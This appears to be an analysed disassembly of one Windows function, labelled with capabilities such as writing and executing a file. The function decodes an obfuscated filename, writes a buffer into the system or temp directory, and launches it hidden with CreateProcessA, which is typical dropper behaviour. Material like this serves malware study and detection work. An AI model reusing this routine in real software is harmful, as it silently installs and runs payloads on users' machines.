Function at 0x10003c04
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1000e2f8
push 0x1000c600
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x290
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov byte [ebp - 0x13c], bl
mov dword [ebp - 0x20], ebx
mov esi, 0x105
push esi
push ebx
lea eax, [ebp - 0x128]
push eax
call sub.MSVCRT.dll_memset
push esi
push ebx
lea eax, [ebp - 0x248]
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
mov byte [ebp - 0x138], 0x23
mov byte [ebp - 0x137], 0x12
mov byte [ebp - 0x136], 0xc
mov byte [ebp - 0x135], 0xd
mov byte [ebp - 0x134], 0x1a
mov byte [ebp - 0x133], 0x18
mov byte [ebp - 0x132], 0xc
mov byte [ebp - 0x131], 0xb
mov byte [ebp - 0x130], 0xd
mov byte [ebp - 0x12f], 0x51
mov byte [ebp - 0x12e], 0x1a
mov byte [ebp - 0x12d], 7
mov byte [ebp - 0x12c], 0x1a
mov byte [ebp - 0x12b], bl
mov dword [ebp - 4], ebx
mov dword [ebp - 4], 1
lea eax, [ebp - 0x138]
push eax
call fcn.100075ee
mov dword [esp], 0x104
lea eax, [ebp - 0x248]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push esi
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x128]
push eax
mov edi, dword [sym.imp.MSVCRT.dll_strncpy]
call edi
lea eax, [ebp - 0x248]
push eax
call sub.MSVCRT.dll_strlen
mov ecx, esi
sub ecx, eax
push ecx
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.MSVCRT.dll_strncat]
add esp, 0x1c
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x20], eax
cmp eax, ebx
jne 0x10003dee
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
push esi
push ebx
lea eax, [ebp - 0x128]
push eax
call sub.MSVCRT.dll_memset
push esi
push ebx
lea eax, [ebp - 0x248]
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x248]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push esi
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x128]
push eax
call edi
lea eax, [ebp - 0x248]
push eax
call sub.MSVCRT.dll_strlen
sub esi, eax
push esi
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.MSVCRT.dll_strncat]
add esp, 0x1c
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x20], eax
cmp eax, ebx
je 0x10003e81
mov eax, dword [ebp + 0x10]
mov dword [eax], 0xc8
jmp 0x10003df7
mov eax, dword [ebp + 0x10]
mov dword [eax], 0x64
mov dword [ebp - 0x2a0], ebx
push ebx
lea eax, [ebp - 0x2a0]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10003e81
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x20], ebx
push 0x44
pop esi
push esi
push ebx
lea eax, [ebp - 0x28c]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x28c], esi
mov dword [ebp - 0x280], ebx
mov dword [ebp - 0x260], 0x81
mov word [ebp - 0x25c], bx
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x28c]
push eax
lea eax, [ebp - 0x248]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10003e8e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
jmp 0x10003ea0
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x13c], 1
mov dword [ebp - 4], ebx
call fcn.10003eac
jmp 0x10003ec2
or dword [ebp - 4], 0xffffffff
mov al, byte [ebp - 0x13c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret